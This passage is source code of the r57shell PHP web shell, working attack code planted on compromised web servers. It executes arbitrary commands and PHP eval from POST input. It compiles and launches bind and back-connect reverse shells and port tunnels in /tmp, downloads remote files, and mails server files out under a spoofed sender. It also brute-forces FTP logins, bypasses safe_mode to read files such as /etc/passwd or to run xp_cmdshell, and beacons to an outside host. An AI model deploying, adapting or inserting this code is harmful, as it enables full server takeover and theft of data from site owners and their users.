CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVls yXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gM TsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllIC IkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRz aWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ 3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0 KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2Nh bHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fC BkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp 3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmI CghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCi RwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsg cHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoL T5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWx zZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAk bnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC 0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiA kby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7I H0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6Omdlbn N5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwk bnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoL T5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQp teSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAk Y2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZi AkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5 kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgI CYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPS AiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRj aCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc 3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQp pZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpl eGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMD sgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSA gfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpte SAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZG VmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4i OyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgK CRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZ lcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAk cmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQ ppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk 7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd 2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3 lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJl cyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc 2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2 pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZz PTgxNjA2
JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIi ZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9j dW1lbnQuY29va2l
lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iK yhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hv dGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKC k/IlkiOiJOIik8L
3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4 yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY 3JlZW4ud2lkdGgr
J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci 5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVl bi5jb2xvckRlcHR
oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgb GFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4 zIjwvc2NyaXB0Pj
xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19y Kz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YS BocmVmPSdodHRwO
i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9 wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5yd S9jZ2ktYmluL2hv
dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aW R0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxu b3NjcmlwdD48YSB
ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhc mdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5 ydS9jZ2ktYmluL2
hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lk dGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L2 5vc2NyaXB0Pg==";
$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW 5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3Jp dGUoJzxh
IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaW NrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6 Ly9jb3VudGVyLnl
hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVud C5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5 lZCcpPycnOg0KJz
tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyon KyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcH RoOnNjcmVlbi5wa
XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ 9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2 lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0Pjwh LS0vTGl2ZUludGV
ybmV0LS0+";
if($unix)
{
if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
echo $head;
echo '</head>';
if(empty($_POST['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_SERVER['SERVER_ADDR']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
if($unix)
{
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
}
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120) ."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(empty($c1)||empty($c2)) { die(); }
$f = '<br>';
$f .= base64_decode($c1);
$f .= base64_decode($c2);
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
{
$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
err(6+$res);
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
{
if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
else
{
$filename = @basename($_POST['loc_file']);
$filedump = @fread($file,@filesize($_POST['loc_file']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']="";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
{
switch($_POST['what'])
{
case 'own':
@chown($_POST['param1'],$_POST['param2']);
break;
case 'grp':
@chgrp($_POST['param1'],$_POST['param2']);
break;
case 'mod':
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
{
switch($_POST['what'])
{
case 'file':
if($_POST['action'] == "create")
{
if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
else {
fclose($file);
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']="edit_file";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
}
}
else if($_POST['action'] == "delete")
{
if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
case 'dir':
if($_POST['action'] == "create"){
if(mkdir($_POST['mk_name']))
{
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
}
else if($_POST['action'] == "delete"){
if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
$_POST['cmd']="";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
{
if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
else {
echo $table_up3;
echo $font;
echo "<form name=save_file method=post>";
echo ws(3)."<b>".$_POST['e_name']."</b>";
echo "<div align=center><textarea name=e_text cols=121 rows=24>";
echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
fclose($file);
echo "</textarea>";
echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
echo "<input type=hidden name=dir value=".$dir.">";
echo "<input type=hidden name=cmd value=save_file>";
echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
echo "</div>";
echo "</font>";
echo "</form>";
echo "</td></tr></table>";
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
{
$mtime = @filemtime($_POST['e_name']);
if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
@fwrite($file,$_POST['e_text']);
@touch($_POST['e_name'],$mtime,$mtime);
$_POST['cmd']="";
echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="ps -aux | grep bd";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
cf("/tmp/bdpl",$port_bind_bd_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
$_POST['cmd']="ps -aux | grep bdpl";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/back",$back_connect);
$p2=which("perl");
$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
cf("/tmp/back.c",$back_connect_c);
$blah = ex("gcc -o /tmp/backc /tmp/back.c");
@unlink("/tmp/back.c");
$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
cf("/tmp/dp",$datapipe_pl);
$p2=which("perl");
$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
$_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
cf("/tmp/dpc.c",$datapipe_c);
$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
@unlink("/tmp/dpc.c");
$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
$_POST['cmd']="ps -aux | grep dpc";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
$_POST['dir']."/".$nfn)
or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
switch($_POST['with'])
{
case wget:
$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
break;
case fetch:
$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
break;
case lynx:
$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case links:
$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case GET:
$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case curl:
$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
break;
}
}
if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
{
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); }
else
{
if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
else
{
if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
}
}
@ftp_close($connection);
$_POST['cmd'] = "";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
{
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); $_POST['cmd'] = ""; }
else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
@ftp_close($connection);
}
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
if($safe_mode)
{
switch($_POST['cmd'])
{
case 'safe_dir':
$d=@dir($dir);
if ($d)
{
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime);
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
else echo $lang[$language._text29];
break;
case 'test1':
$ci = @curl_init("file://".$_POST['test1_file']."");
$cf = @curl_exec($ci);
echo $cf;
break;
case 'test2':
@include($_POST['test2_file']);
break;
case 'test3':
if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
if($db)
{
if(@mysql_select_db($_POST['test3_md'],$db))
{
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
@mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
$r = @mysql_query("SELECT * FROM temp_r57_table");
while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
}
else echo "[-] ERROR! Can't select database";
@mysql_close($db);
}
else echo "[-] ERROR! Can't connect to mysql server";
break;
case 'test4':
if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
if($db)
{
if(@mssql_select_db($_POST['test4_md'],$db))
{
@mssql_query("drop table r57_temp_table",$db);
@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
$res = mssql_query("select * from r57_temp_table",$db);
while(($row=@mssql_fetch_row($res)))
{
echo $row[0]."\r\n";
}
@mssql_query("drop table r57_temp_table",$db);
}
else echo "[-] ERROR! Can't select database";
@mssql_close($db);
}
else echo "[-] ERROR! Can't connect to MSSQL server";
break;
case 'test5':
if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
$extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
@mb_send_mail(NULL, NULL, NULL, NULL, $extra);
$lines = file ('/tmp/mb_send_mail');
foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
break;
case 'test6':
$stream = @imap_open('/etc/passwd', "", "");
$dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
@imap_close($stream);
break;
case 'test7':
$stream = @imap_open($_POST['test7_file'], "", "");
$str = @imap_body($stream, 1);
echo $str;
@imap_close($stream);
break;
case 'test8':
if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
else echo $lang[$language.'_text119'];
break;
}
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
$cmd_rep = ex($_POST['cmd']);
if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d' ,'w'))."\n"; }
else { echo @htmlspecialchars($cmd_rep)."\n"; }}
if ($_POST['cmd']=="ftp_brute")
{
$suc = 0;
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
@ftp_close($connection);
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST['reverse'])) { $count *= 2; }
echo $lang[$language.'_text97'].$count."\r\n";
echo $lang[$language.'_text98'].$suc."\r\n";
}
if ($_POST['cmd']=="php_eval"){
$eval = @str_replace("<?","",$_POST['php_eval']);
$eval = @str_replace("?>","",$eval);
@eval($eval);}
if ($_POST['cmd']=="mysql_dump")
{
if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
